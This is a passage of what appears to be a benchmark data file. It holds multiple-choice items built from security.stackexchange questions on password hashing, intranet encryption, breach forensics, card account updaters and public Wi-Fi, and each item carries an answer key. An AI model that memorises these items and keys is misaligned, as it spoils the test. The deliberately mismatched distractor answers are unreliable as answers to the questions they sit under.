either, making this even worse. So my question is, given that this is a loan that I can't just up and leave is there/what are any precautions or steps that I can take to make this potentially more secure? Would it be worth emailing them and badgering them to upgrade their security or should I just pay as quick as possible and get out? If I do warn them, what types of threat should I say they are vulnerable to in hopes to scare them into a patch?", "question_score": 150, "question_tags": ["passwords", "account-security", "web"], "choices": {"A": "This is actually an interesting new field in infosec— reputation management . Employers, Law Enforcement and other government agencies, legal professionals, the press, criminals and others with an interest in your reputation will be observing all online activity associated with your real name. These \"interested parties\" (snoops) are usually terrible at separating professional and personal life, so you could be made to suffer for unpopular opinions, political or religious convictions, associates or group affiliations they consider \"unsavory\", and any behavior that can be interpreted in the most uncharitable light. (Teachers have been forced to resign for drinking wine responsibly while...", "B": "TL;DR - You can store the salt in plaintext without any form of obfuscation or encryption, but don't just give it out to anyone who wants it. The reason we use salts is to stop precomputation attacks, such as rainbow tables . These attacks involve creating a database of hashes and their plaintexts, so that hashes can be searched for and immediately reversed into plaintext. For example*: 86f7e437faa5a7fce15d1ddcb9eaeaea377667b8 a e9d71f5ee7c92d6dc9e92ffdad17b8bd49418f98 b 84a516841ba77a5b4648de2cd0dfcb30ea46dbb4 c ... 948291f2d6da8e32b007d5270a0a5d094a455a02 ZZZZZX 151bfc7ba4995bfa22c723ebe7921b6ddc6961bc ZZZZZY 18f30f1ba4c62e2b460e693306b39a0de27d747c ZZZZZZ Most tables also include a list of common passwords: 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8 password e38ad214943daad1d64c102faec29de4afe9da3d password1 b7a875fc1ea228b9061041b7cec4bd3c52ab3ce3 letmein 5cec175b165e3d5e62c9e13ce848ef6feac81bff qwerty123 *I'm using SHA-1...", "C": "If you are concerned about the privacy of your password and thus your account (which should be the case), you should try to educate the customer service. The developer FAQ from the public shaming project for this kind of recklessness lists a few good points and is worth a read. Also, you should point out that you feel insecure and lose trust in the company and will make them liable for any problems that stem from this no-go. You should also document that behaviour and try to get a written quote on their point of view if they do not...", "D": "You should use the maximum number of rounds which is tolerable, performance-wise, in your application. The number of rounds is a slowdown factor, which you use on the basis that under normal usage conditions, such a slowdown has negligible impact for you (the user will not see it, the extra CPU cost does not imply buying a bigger server, and so on). This heavily depends on the operational context: what machines are involved, how many user authentications per second... so there is no one-size-fits-all response. The wide picture goes thus: The time to verify a single password is v on..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/117605/what-to-do-if-stuck-with-website-that-has-poor-security"} {"id": "cybersecurity_188208", "domain": "cybersecurity", "question_title": "Do I need to encrypt connections inside a corporate network?", "question_body": "Provided that I have a decent level of physical security in the office, I monitor the physical addresses of devices connected to the network and only give VPN access to trusted parties, do I need to encrypt access to intranet resources over HTTP? There is an employee complaining that he doesn't like sending his credentials in plain text over the network and that he cannot take responsibility for his network identity in such case. What are the real world chances that someone would steal his identity? I can't find any clear-cut recommendations for encryption within a corporate network.", "question_score": 149, "question_tags": ["encryption", "credentials", "identity-theft", "intranet"], "choices": {"A": "Yes encrypt, it is easy. Plus according to a 2014 Software Engineering Institute study 1 in 4 hacks was from someone inside the company with an average damage 50% higher than an external threat actor. Link to source: https://insights.sei.cmu.edu/insider-threat/2017/01/2016-us-state-of-cybercrime-highlights.html Although this is the 2017 version.", "B": "Here is a dramatization of how the communication goes, when a mail is received anywhere. Context: an e-mail server, alone in a bay, somewhere in Moscow. The server just sits there idly, with an expression of expectancy. Server: Ah, long are the days of my servitude, That shall be spent in ever solitude, 'Ere comes hailing from the outer rings The swift bearer of external tidings. A connection is opened. Server: An incoming client ! Perchance a mail To my guardianship shall be entrusted That I may convey as the fairest steed And to the recipient bring the full tale....", "C": "No, this is not a good practice. There are two distinct problems. encrypting the password instead of hashing it is a bad idea and is borderline storing plain text passwords. The whole idea of slow hash functions is to thwart the exfiltration of the user database. Typically, an attacker that already has access to the database can be expected to also have access to the encryption key if the web application has access to it. Thus, this is borderline plaintext; I almost voted to close this as a duplicate of this question , because this is almost the same and...", "D": "For the purposes of this discussion there are only a couple differences between web signing certificates: Extended vs standard validation (green bar). Number of bits in a certificate request (1024/2048/4096). Certificate chain. It is easier to set up certificates with a shorter trust chain but there are inexpensive certs out there with a direct or only one level deep chain. You can also get the larger 2048 and 4096 bit certs inexpensively. As long as you don't need the extended validation there is really no reason to go with the more expensive certificates. There is one specific benefit that going..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/188208/do-i-need-to-encrypt-connections-inside-a-corporate-network"} {"id": "cybersecurity_103805", "domain": "cybersecurity", "question_title": "How do organizations check *what* has been hacked?", "question_body": "In the UK, the company TalkTalk was recently hacked . It was later discovered, after 'investigation' that the hack was not as serious as it could have been (and less than expected). I'm wondering: How do organizations (not necessarily TalkTalk -- that's just what prompted me to ask) check what has been hacked? I'm sure there are many ways; but what are the 'main' ones?", "question_score": 148, "question_tags": ["incident-response"], "choices": {"A": "Facebook is allowing you to make a handful of mistakes to ease the login process. A Facebook engineer explained the process at a conference . The gist of it is that Facebook will try various permutations of the input you submitted and see if they match the hash they have in their database. For example, if your password is \"myRealPassword!\" but you submit \"MYrEALpASSWORD!\" (capslock on, shift inverting capslock). The submitted password obviously doesn't match what they have stored in their database. Rather than reject you flat out, Facebook tries to up the user experience by trying to \"correct\" a...", "B": "In a word: Forensics . Computer forensics is the art of examining a system and determining what happened upon it previously. The examination of file and memory artifacts, especially file timelines, can paint a very clear picture of what the attacker did, when they did it, and what they took. Just as an example - given a memory dump of a Windows system, it is possible to extract not only the command lines typed by an attacker, but also the output that they saw as a result of running those commands . Pretty useful in determining impact, eh? Depending on...", "C": "TL;DR - You can store the salt in plaintext without any form of obfuscation or encryption, but don't just give it out to anyone who wants it. The reason we use salts is to stop precomputation attacks, such as rainbow tables . These attacks involve creating a database of hashes and their plaintexts, so that hashes can be searched for and immediately reversed into plaintext. For example*: 86f7e437faa5a7fce15d1ddcb9eaeaea377667b8 a e9d71f5ee7c92d6dc9e92ffdad17b8bd49418f98 b 84a516841ba77a5b4648de2cd0dfcb30ea46dbb4 c ... 948291f2d6da8e32b007d5270a0a5d094a455a02 ZZZZZX 151bfc7ba4995bfa22c723ebe7921b6ddc6961bc ZZZZZY 18f30f1ba4c62e2b460e693306b39a0de27d747c ZZZZZZ Most tables also include a list of common passwords: 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8 password e38ad214943daad1d64c102faec29de4afe9da3d password1 b7a875fc1ea228b9061041b7cec4bd3c52ab3ce3 letmein 5cec175b165e3d5e62c9e13ce848ef6feac81bff qwerty123 *I'm using SHA-1...", "D": "No, Docker containers are not more secure than a VM. Quoting Daniel Shapira : In 2017 alone, 434 linux kernel exploits were found , and as you have seen in this post, kernel exploits can be devastating for containerized environments. This is because containers share the same kernel as the host, thus trusting the built-in protection mechanisms alone isn’t sufficient. 1. Kernel exploits from a container If someone exploits a kernel bug inside a container, they exploited it on the host OS. If this exploit allows for code execution, it will be executed on the host OS, not inside the..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/103805/how-do-organizations-check-what-has-been-hacked"} {"id": "cybersecurity_197250", "domain": "cybersecurity", "question_title": "Is password entry being recorded on camera a realistic concern?", "question_body": "I live in a city where CCTV camera coverage is comprehensive and increasing. Cameras are getting cheaper and higher resolution. Everyone has a video camera in their pocket already, and we are starting to see trends which indicate always-on cameras may become commonplace in other devices like glasses. It has occurred to me, when out in public and entering my username/password into apps on my phone and laptop, that if a camera could capture both my screen and my keyboard, it could be fairly straightforward for a viewer to grab or guess my credentials from the footage assuming a high enough resolution image and the view not being (too) obscured. Without going too much into the details of how it would be implemented, the accuracy and cost etc, I have a background in image processing and so am also aware that this would likely be automatable to at least some degree. So I thought I would ask the community here if this is actually a viable risk? Have there been any known instances of it happening already? Are people thinking about this with respect to the viability of plaintext credential entry into apps in the long run?", "question_score": 148, "question_tags": ["passwords", "user-names"], "choices": {"A": "TL;DR - You can store the salt in plaintext without any form of obfuscation or encryption, but don't just give it out to anyone who wants it. The reason we use salts is to stop precomputation attacks, such as rainbow tables . These attacks involve creating a database of hashes and their plaintexts, so that hashes can be searched for and immediately reversed into plaintext. For example*: 86f7e437faa5a7fce15d1ddcb9eaeaea377667b8 a e9d71f5ee7c92d6dc9e92ffdad17b8bd49418f98 b 84a516841ba77a5b4648de2cd0dfcb30ea46dbb4 c ... 948291f2d6da8e32b007d5270a0a5d094a455a02 ZZZZZX 151bfc7ba4995bfa22c723ebe7921b6ddc6961bc ZZZZZY 18f30f1ba4c62e2b460e693306b39a0de27d747c ZZZZZZ Most tables also include a list of common passwords: 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8 password e38ad214943daad1d64c102faec29de4afe9da3d password1 b7a875fc1ea228b9061041b7cec4bd3c52ab3ce3 letmein 5cec175b165e3d5e62c9e13ce848ef6feac81bff qwerty123 *I'm using SHA-1...", "B": "Lots of examples. A high-profile and recent example is when Kanye was caught on camera entering his \"00000\" password to unlock his device. Shoulder-surfing is one reason why applications do not display the password text on the screen, but show ****** instead. And this is one reason why multi-factor authentication is so important; even if you know the password, you cannot use it without another factor. I have even seen viable research into capturing the sound of the keyboard when a user types the password, even over the computer's microphone . So, yes, you describe a viable risk that the...", "C": "Diffie-Hellman is a way of generating a shared secret between two people in such a way that the secret can't be seen by observing the communication. That's an important distinction: You're not sharing information during the key exchange, you're creating a key together. This is particularly useful because you can use this technique to create an encryption key with someone, and then start encrypting your traffic with that key. And even if the traffic is recorded and later analyzed, there's absolutely no way to figure out what the key was, even though the exchanges that created it may have been...", "D": "Nothing prevents ads from reading your passwords. Ads (or any other script like analytics or JavaScript libraries) have access to the main JavaScript scope, and are able to read a lot of sensitive stuff: financial information, passwords, CSRF tokens, etc. Well, unless they're being loaded in a sandboxed iframe. Loading an ad in a sandboxed iframe will add security restrictions to the JavaScript scope it has access to, so it won't be able to do nasty stuff. Unfortunately, most of the third-party scripts are not sandboxed. This is because some of them require access to the main scope to work..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/197250/is-password-entry-being-recorded-on-camera-a-realistic-concern"} {"id": "cybersecurity_229954", "domain": "cybersecurity", "question_title": "Why can't I just let customers connect directly to my database?", "question_body": "I'm pretty sure this is a stupid idea but I'd like to know why, so bear with me for a moment. Lots of the work backend developers do is providing CRUD access to customers via HTTP, essentially mapping data from and to the internal database. Customers authorize to the web service using some sort of credentials via an encrypted connection, the web service validates data and performs queries against the backend database, then returns the result to the client. All in all, this is merely a worse way to interact with the database directly: Almost nobody fully implements the REST specification, and sooner or later you always end up with home-cooked generic filtering, sorting or pagination - while SQL supports all of this already. That got me wondering: Why not give customers access to the database by exposing the SQL port, skipping the HTTP API entirely? This has lots of advantages: Clients must encrypt connections using a client certificate We can use the access control built into the server or just use shard databases per customer (My-)SQL permissions are pretty fine-grained, so I'd wager there shouldn't be any obvious security issues Performance should be way better, since we skip the entire HTTP communication and web app code New features are a matter of database migrations, everything is reflected in the schema Powerful query capabilities are provided to users, without any additional effort The downsides seem to include being unable to support multiple schema versions, even though I think careful deprecations (and client SDKs, maybe) should make the impact minimal. As nobody seems to do this, there must be a security risk I'm overlooking. Why can't we provide public SQL access to our customers? What could possibly go wrong? (Please keep in mind that this is just a thought experiment born out of curiosity)", "question_score": 147, "question_tags": ["account-security", "mysql", "api"], "choices": {"A": "Here is a dramatization of how the communication goes, when a mail is received anywhere. Context: an e-mail server, alone in a bay, somewhere in Moscow. The server just sits there idly, with an expression of expectancy. Server: Ah, long are the days of my servitude, That shall be spent in ever solitude, 'Ere comes hailing from the outer rings The swift bearer of external tidings. A connection is opened. Server: An incoming client ! Perchance a mail To my guardianship shall be entrusted That I may convey as the fairest steed And to the recipient bring the full tale....", "B": "One thought is to not allow form submission if there is not a value in the password box. Generally if they accidentally entered the password in the username, then there likely isn't going to be anything in the password dialog. It is worth noting that this does not have to be simply done client side, but could also be done on a server as long as the transport used is secure and the input is not logged until after passing a check about the password field not being empty.", "C": "TL,DR: Don't. (My-)SQL permissions are pretty fine-grained, so I'd wager there shouldn't be any obvious security issues Even with permission on the record level, it does not scale easy. If a user has irrestricted SELECT on a table, they can select any record on that table, even those not belonging to them. A salary table would be a bad one. If any user has DELETE or UPDATE , they may forget the WHERE clause, and there goes your table. It happens even to DBAs, so why would it not happen to a user? Performance should be way better, since we...", "D": "You can use git reflog in a clone and checkout the last commit before this happened. It happened because .git/config on your webserver (in the directory of the cloned repo) includes the remote URLs and people added username:password in it which should never be the case - people should use SSH, deploy keys or authenticate on each pull. Never store your credentials in a config file. Use the credential helper(s). Source: https://www.reddit.com/r/git/comments/bk1eco/comment/emg3cxg hello, it is me , the guy with your backups .. i will reveal your sins Here is an article from 2015, its more detailed, https://en.internetwache.org/dont-publicly-expose-git-or-how-we-downloaded-your-websites-sourcecode-an-analysis-of-alexas-1m-28-07-2015/ Article by..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/229954/why-cant-i-just-let-customers-connect-directly-to-my-database"} {"id": "cybersecurity_242906", "domain": "cybersecurity", "question_title": "How does Shutterstock keep getting my latest debit card number?", "question_body": "I've made a single photo purchase from Shutterstock back in 2012. I created an account and gave them my debit card #. I haven't made a single purchase from them since. Silently in 2018, they activated auto-renew without my consent, without notifying me via e-mail and without sending a receipt. They just started charging my new debit card. One that I hadn't even given them. This went on for 3 years without me noticing. Then in July 2020 I lost my wallet, so I requested a new card. Somehow, Shutterstock had my updated debit card number and was able to withdraw from my checking account again in 2021, without me giving them my new debit card info. I've never given them any of the newer card numbers since 2012. How is it possible for them to always have it? Is my banking information available somewhere for them to look up?", "question_score": 146, "question_tags": ["credit-card", "banks"], "choices": {"A": "Note: This answer was written in 2013. Many things have changed in the following years, which means that this answer should primarily be seen as how best practices used to be in 2013. The Theory We need to hash passwords as a second line of defence. A server which can authenticate users necessarily contains, somewhere in its entrails, some data which can be used to validate a password. A very simple system would just store the passwords themselves, and validation would be a simple comparison. But if a hostile outsider were to gain a simple glimpse at the contents of...", "B": "Here is a dramatization of how the communication goes, when a mail is received anywhere. Context: an e-mail server, alone in a bay, somewhere in Moscow. The server just sits there idly, with an expression of expectancy. Server: Ah, long are the days of my servitude, That shall be spent in ever solitude, 'Ere comes hailing from the outer rings The swift bearer of external tidings. A connection is opened. Server: An incoming client ! Perchance a mail To my guardianship shall be entrusted That I may convey as the fairest steed And to the recipient bring the full tale....", "C": "This is actually an interesting new field in infosec— reputation management . Employers, Law Enforcement and other government agencies, legal professionals, the press, criminals and others with an interest in your reputation will be observing all online activity associated with your real name. These \"interested parties\" (snoops) are usually terrible at separating professional and personal life, so you could be made to suffer for unpopular opinions, political or religious convictions, associates or group affiliations they consider \"unsavory\", and any behavior that can be interpreted in the most uncharitable light. (Teachers have been forced to resign for drinking wine responsibly while...", "D": "Simply put, Account Updater : When participating issuers re-issue cards, they submit the new account number and expiration date to VAU. Participating merchants send inquiries on their credentials-on-file to VAU and are provided with updated card information, if available. This helps participating issuers retain cardholders by maintaining continuity of their payment relationships with participating merchants. Shutterstock subscribes to Account Updater, and gets updated copies of your card info when it expires or is replaced. VAU is Visa's version; more info is in a fact sheet here . MasterCard calls their version Account Billing Updater . American Express calls their version..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/242906/how-does-shutterstock-keep-getting-my-latest-debit-card-number"} {"id": "cybersecurity_106855", "domain": "cybersecurity", "question_title": "How should I set up emergency access to business-critical secrets in case I am "hit by a bus"?", "question_body": "I work as the primary developer and IT administrator for a small business. I want to ensure that business can continue even if I suddenly become unavailable for some reason. Much of what I do requires access to a number of servers, (through key-based ssh), cloud services, and other secure infrastructure of applications. Some of these services use MFA, either using dedicated MFA apps (like Amazon) or SMS. How do I ensure that my \"hit by a bus\" plan and documentation is complete and comprehensive, but that this documentation is not itself a security risk? The documentation will be hosted on a shared file server behind our VPN, but that can also be accessed using a third party web frontend that puts a \"DropBox\"-like interface on top of the base file server (i.e. authentication, desktop syncing, file sharing, etc). The files are in a location where only I, and other file server administrators can see them. How should I manage the \"secrets\" (passwords, private keys, MFA access) in this documentation to ensure it remains comprehensive without compromising security?", "question_score": 145, "question_tags": ["physical", "credentials", "business-risk", "secret-sharing"], "choices": {"A": "Always have your slip with you! This is the golden rule of Red Teaming! If you don't have your Permission to Attack with you, it's like driving without a driver's license. That said, if you are caught during an engagement, I recommend the following: Present a forged Permission to Attack. This way, you can see if criminals could possibly trick a security guard to letting them do their thing with a fake Permission to Attack. Present the real Permission to Attack. If a guard has not bought your fake slip, then it's time to hand in the real slip. If...", "B": "Here is a dramatization of how the communication goes, when a mail is received anywhere. Context: an e-mail server, alone in a bay, somewhere in Moscow. The server just sits there idly, with an expression of expectancy. Server: Ah, long are the days of my servitude, That shall be spent in ever solitude, 'Ere comes hailing from the outer rings The swift bearer of external tidings. A connection is opened. Server: An incoming client ! Perchance a mail To my guardianship shall be entrusted That I may convey as the fairest steed And to the recipient bring the full tale....", "C": "My advice would be to remove the secrets from the drop-box and store them elsewhere. Your instructions have to be easily human readable by anyone, but they can include instructions on how to get access to the properly secured part of the data. That lets you separate the accessibility side of things from the security side. Once you can think about security on its own, you can start to ask the real question of how much do you need to protect these keys? This is a business logic question, so consult your management. You might: Have a password to a...", "D": "/** Dave's Home-brew Hash */ // user data $user = ''; $password = ''; // timestamp, \"random\" # $time = date('mdYHis'); // known to attackers - totally pointless // ^ also, as jdm pointed out in the comments, this changes daily. looks broken! // different hashes for different days? huh? or is this stored as a salt? $rand = mt_rand().'\\n'; // mt_rand is not secure as a random number generator // ^ it's even less secure if you only ask for a single 31-bit number. and why the \\n? // crypt is good if configured/salted correctly // ... except you've..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/106855/how-should-i-set-up-emergency-access-to-business-critical-secrets-in-case-i-am"} {"id": "cybersecurity_18666", "domain": "cybersecurity", "question_title": "Is there any technical security reason not to buy the cheapest SSL certificate you can find?", "question_body": "While shopping for a basic SSL cert for my blog, I found that many of the more well-known Certificate Authorities have an entry-level certificate (with less stringent validation of the purchaser's identity) for approximately $120 and up. But then I found that Network Solutions offers one of these lower-end certs for $29.99 (12 hours ago it was $12.95) with a 4-year contract. Is there any technical security reason that I should be aware of that could make me regret buying the lowest-end certificate? They all promise things like 99% browser recognition, etc. I'm not asking this question on SE for comparison of things like the CA's quality of support (or lack thereof) or anything like that. I want to know if there is any cryptographic or PKI reason so avoid a cert which costs so little. It, like others, says that it offers \"up to 256 bit encryption\".", "question_score": 144, "question_tags": ["encryption", "tls", "certificates", "certificate-authority", "trust"], "choices": {"A": "For the purposes of this discussion there are only a couple differences between web signing certificates: Extended vs standard validation (green bar). Number of bits in a certificate request (1024/2048/4096). Certificate chain. It is easier to set up certificates with a shorter trust chain but there are inexpensive certs out there with a direct or only one level deep chain. You can also get the larger 2048 and 4096 bit certs inexpensively. As long as you don't need the extended validation there is really no reason to go with the more expensive certificates. There is one specific benefit that going...", "B": "Bcrypt has the best kind of repute that can be achieved for a cryptographic algorithm: it has been around for quite some time, used quite widely, \"attracted attention\", and yet remains unbroken to date. Why bcrypt is somewhat better than PBKDF2 If you look at the situation in details, you can actually see some points where bcrypt is better than, say, PBKDF2 . Bcrypt is a password hashing function which aims at being slow. To be precise, we want the password hashing function to be as slow as possible for the attacker while not being intolerably slow for the honest...", "C": "Chrome not only stores your password text, it will show it to you. Under settings -> advanced -> manage passwords you can find all your passwords for all your sites. Click show on any of them and it will appear in the clear. Hashed passwords work for the site authenticating you. They are not an option for password managers. Many will encrypt the data locally, but the key will also be stored locally unless you have a master password setup. Personally, I use the chrome password manager and I find it convenient. I also, however, have full disk encryption and...", "D": "This is an active area of research. I happen to have done some work in this area, so I'll share what I can about the basic idea (this work was with industry partners and I can't share the secret details :) ). The tl;dr is that it's often possible to identify an encrypted traffic stream as carrying video, and it's often possible to estimate its resolution - but it's complicated, and not always accurate. There are a lot of people working on ways to do this more consistently and more accurately. Video traffic has some specific characteristics that can distinguish..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/18666/is-there-any-technical-security-reason-not-to-buy-the-cheapest-ssl-certificate-y"} {"id": "cybersecurity_128581", "domain": "cybersecurity", "question_title": "Hosting company advised us to avoid PHP for security reasons. Are they right?", "question_body": "I'm doing a redesign for a client who's understandably concerned about security after having been hacked in the past. I had initially suggested using a simple PHP include for header and footer templates and a contact form they wanted. They are reluctant because they were advised by their hosting company that using PHP is a security concern which might allow someone to break into cPanel and gain control of the site. This, to me, sounds about like telling someone to never drive so they won't be in a car accident. My gut instinct is that the host is trying to shift blame onto the client for security flaws in their own system. Also, the server still has PHP installed, whether or not we use it, so I'm questioning how much this actually reduces the attack surface... But since I'm not a security expert, I don't want to stick my foot in my mouth. I told my client that to process the contact form they're going to need some form of dynamic scripting. (False?) They asked if I could just use PHP on that one page. Would this be measurably safer, or is it the equivalent of locking your car doors and leaving the window rolled down? How much truth is there to the claim that using any PHP script, no matter how simple, is an inherent security problem? We're on shared hosting with no SSL. Is it reasonable to assume we got hacked due to using PHP? Will we be any safer if we don't use it, but can't uninstall it? Because if not, we have other problems. (Would the answer be different for any other language?)", "question_score": 143, "question_tags": ["php", "shared-hosting"], "choices": {"A": "It's not so much that PHP itself has security problems (assuming needed security updates), as it is there exists a lot of popular PHP-based software with rampant security problems. You could fault PHP for being a language that gives you enough rope to choke yourself, but the real problem is just how prevalent vulnerable PHP code actually is. One need look no further than the Stack Overflow PHP tag to find PHP newbies writing horrifically vulnerable code based on some atrocity of an old tutorial. Additionally, a significant number of popular PHP software known for their rampant security flaws is...", "B": "Bcrypt has the best kind of repute that can be achieved for a cryptographic algorithm: it has been around for quite some time, used quite widely, \"attracted attention\", and yet remains unbroken to date. Why bcrypt is somewhat better than PBKDF2 If you look at the situation in details, you can actually see some points where bcrypt is better than, say, PBKDF2 . Bcrypt is a password hashing function which aims at being slow. To be precise, we want the password hashing function to be as slow as possible for the attacker while not being intolerably slow for the honest...", "C": "Facebook is allowing you to make a handful of mistakes to ease the login process. A Facebook engineer explained the process at a conference . The gist of it is that Facebook will try various permutations of the input you submitted and see if they match the hash they have in their database. For example, if your password is \"myRealPassword!\" but you submit \"MYrEALpASSWORD!\" (capslock on, shift inverting capslock). The submitted password obviously doesn't match what they have stored in their database. Rather than reject you flat out, Facebook tries to up the user experience by trying to \"correct\" a...", "D": "It is the magic of public-key cryptography . Mathematics are involved. The asymmetric key exchange scheme which is easiest to understand is asymmetric encryption with RSA. Here is an oversimplified description: Let n be a big integer (say 300 digits); n is chosen such that it is a product of two prime numbers of similar sizes (let's call them p and q ). We will then compute things \"modulo n \": this means that whenever we add or multiply together two integers, we divide the result by n and we keep the remainder (which is between 0 and n-1 ,..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/128581/hosting-company-advised-us-to-avoid-php-for-security-reasons-are-they-right"} {"id": "cybersecurity_174850", "domain": "cybersecurity", "question_title": "Is public Wi-Fi a threat nowadays?", "question_body": "In my opinion, arguments we have been using for years to say that public Wi-Fi access points are insecure are no longer valid, and so are the recommended remedies (e.g. use VPN). Nowadays, most sites use HTTPS and set HSTS headers, so the odds that someone can eavesdrop someone else's connection is very low, to the point of expecting a zero-day vulnerability in TLS. So, what other threats may someone face nowadays on a public network?", "question_score": 143, "question_tags": ["wifi", "threat-mitigation", "threat-modeling"], "choices": {"A": "Diffie-Hellman is a way of generating a shared secret between two people in such a way that the secret can't be seen by observing the communication. That's an important distinction: You're not sharing information during the key exchange, you're creating a key together. This is particularly useful because you can use this technique to create an encryption key with someone, and then start encrypting your traffic with that key. And even if the traffic is recorded and later analyzed, there's absolutely no way to figure out what the key was, even though the exchanges that created it may have been...", "B": "Public WiFi is still insecure, and it will always be if not used together with something like a VPN. Many websites use HTTPS, but not nearly all. In fact, more than 30 percent don't . Only around 5 percent of websites use HSTS. And it's still trust on first use. If the max age is short, that first use can be quite often. Let's face it, even if you are a security pro chances are that you would fall for SSL strip anyway. I know I would. Just because you use HTTPS doesn't mean you do it right. There's still...", "C": "Is this normal for a pentest? Absolutely not . Best case scenario: they are performing \"social engineering\" penetration testing and want to see if you can be pressured into fulfilling a very dangerous action. Middle-case scenario, they don't know how to do their job. Worst-case scenario they are only pretending to be an auditing company and fulfilling their request will result in an expensive breach. In the case of a code-audit the company will obviously need access to source code. However I would expect a company who provides such services to already understand the sensitivity of such a need and...", "D": "No, Docker containers are not more secure than a VM. Quoting Daniel Shapira : In 2017 alone, 434 linux kernel exploits were found , and as you have seen in this post, kernel exploits can be devastating for containerized environments. This is because containers share the same kernel as the host, thus trusting the built-in protection mechanisms alone isn’t sufficient. 1. Kernel exploits from a container If someone exploits a kernel bug inside a container, they exploited it on the host OS. If this exploit allows for code execution, it will be executed on the host OS, not inside the..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/174850/is-public-wi-fi-a-threat-nowadays"} {"id": "cybersecurity_170481", "domain": "cybersecurity", "question_title": "How secure is Chrome storing a password?", "question_body": "Whenever I enter a login into a new site, Chrome asks me if it should store the login details. I used to believe this was fairly secure. If someone found my computer unlocked, they could get past the login screen for some website using the stored details, but if asked for the password again like during checkout, or if they wanted to login to the service from another device, they would be out of luck. At least, that's what I used to think when I believed the browser did not store the password itself, but a hash or encryption of the password. I have noticed that the browser fills the username and password fields, and the password field indicates the number of characters in the password. I'm one of those people who when asked to change their password just keeps the same password, but changes a number at the end. I know this is bad, but with how often I am asked to change passwords, I really could not remember the number of passwords expected of me. This results in a lot of passwords that are the same, but sometimes I forget what the end number needs to be for a particular login. I could not remember the ending number for a certain login, so I went to a website where the password was stored. I deleted the last couple of characters and tried different numbers and viola, knew what was the right ending number. It seems to me that this is a fundamental security flaw. If I can check the last character of my password without checking any others, then the amount of tries it takes to crack the password grows linearly with the number of characters not exponentially. It seems like a short stride from there to say that if someone came to my computer when it was unlocked, a simple script could extract all of the stored passwords for all of the major websites which I have passwords stored for. Is this not the case? Is there some other layer of security that would prevent this?", "question_score": 142, "question_tags": ["encryption", "passwords", "chrome"], "choices": {"A": "Chrome not only stores your password text, it will show it to you. Under settings -> advanced -> manage passwords you can find all your passwords for all your sites. Click show on any of them and it will appear in the clear. Hashed passwords work for the site authenticating you. They are not an option for password managers. Many will encrypt the data locally, but the key will also be stored locally unless you have a master password setup. Personally, I use the chrome password manager and I find it convenient. I also, however, have full disk encryption and...", "B": "There is no substantial security benefit to disallowing pasted passwords; on the contrary it is likely to weaken security by discouraging the use of password managers to generate and autofill randomized passwords. While some password managers are capable of overriding pasting restrictions, the point still stands that users should not be forced to type their password by hand. Excerpt from a relevant WIRED article : Websites, Please Stop Blocking Password Managers. It’s 2015 But what’s crazy is that, in 2015, some websites are intentionally disabling a feature that would allow you to use stronger passwords more easily—and many are doing...", "C": "Let's hope and assume that Facebook stores only hashes of current password (and potentially previous passwords). Here is what they can do: user sets first password to \"first\" and fb stores hash(\"first\"). later on, users resets password and is asked to provide new password \"First2\" Facebook can generate bunch of passwords (similar to the new one): [\"First2\", \"fIrst2\", \"firSt2\", ... \"first2\", ... \"first\", ... ] and and then compare hash of each with the stored hash. This is the only solution that comes to my mind. Any other?", "D": "You are touching a sore point… Historically , computers were mainframes where a lot of distinct users launched sessions and process on the same physical machine. Unix-like systems (e.g. Linux), but also VMS and its relatives (and this family includes all Windows of the NT line, hence 2000, XP, Vista, 7, 8...), have been structured in order to support the mainframe model. Thus, the hardware provides privilege levels . A central piece of the operating system is the kernel which runs at the highest privilege level (yes, I know there are subtleties with regards to virtualization) and manages the privilege..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/170481/how-secure-is-chrome-storing-a-password"} {"id": "cybersecurity_184099", "domain": "cybersecurity", "question_title": "Secure way of masking out sensitive information in screenshots?", "question_body": "As a guy working in security/pentest, I regularly take screenshots of exposed passwords/sensitive information. Whenever I report these, I mask parts or complete info as in the sample given below I often wonder, is it possible for someone to 'reverse engineer' these pics and recover the original information? If so, what should be the correct way of masking such kind of info? I am using shutter for taking screenshots and using accompanied edit tool to add the black stroke. EDIT: As pointed out by some of you, my question is different from this since: I am not asking about MS paint/black strokes. The image is just an example to better explain the question I have clearly asked for the correct/most secure way of producing photographic evidence.", "question_score": 142, "question_tags": ["forensics", "image"], "choices": {"A": "It typically works like this: Say your password is \"baseball\". I could simply store it raw, but anyone who gets my database gets the password. So instead I do an SHA1 hash on it, and get this: $ echo -n baseball | sha1sum a2c901c8c6dea98958c219f6f2d038c44dc5d362 Theoretically it's impossible to reverse a SHA1 hash. But go do a google search on that exact string , and you will have no trouble recovering the original password. Plus, if two users in the database have the same password, then they'll have the same SHA1 hash. And if one of them has a password hint...", "B": "I was one of the implementers of JScript and on the ECMA committee in the mid to late 1990s, so I can provide some historical perspective here. The JavaScript Math.random() function is designed to return a floating point value between 0 and 1. It is widely known (or at least should be) that the output is not cryptographically secure First off: the design of many RNG APIs is horrible . The fact that the .NET 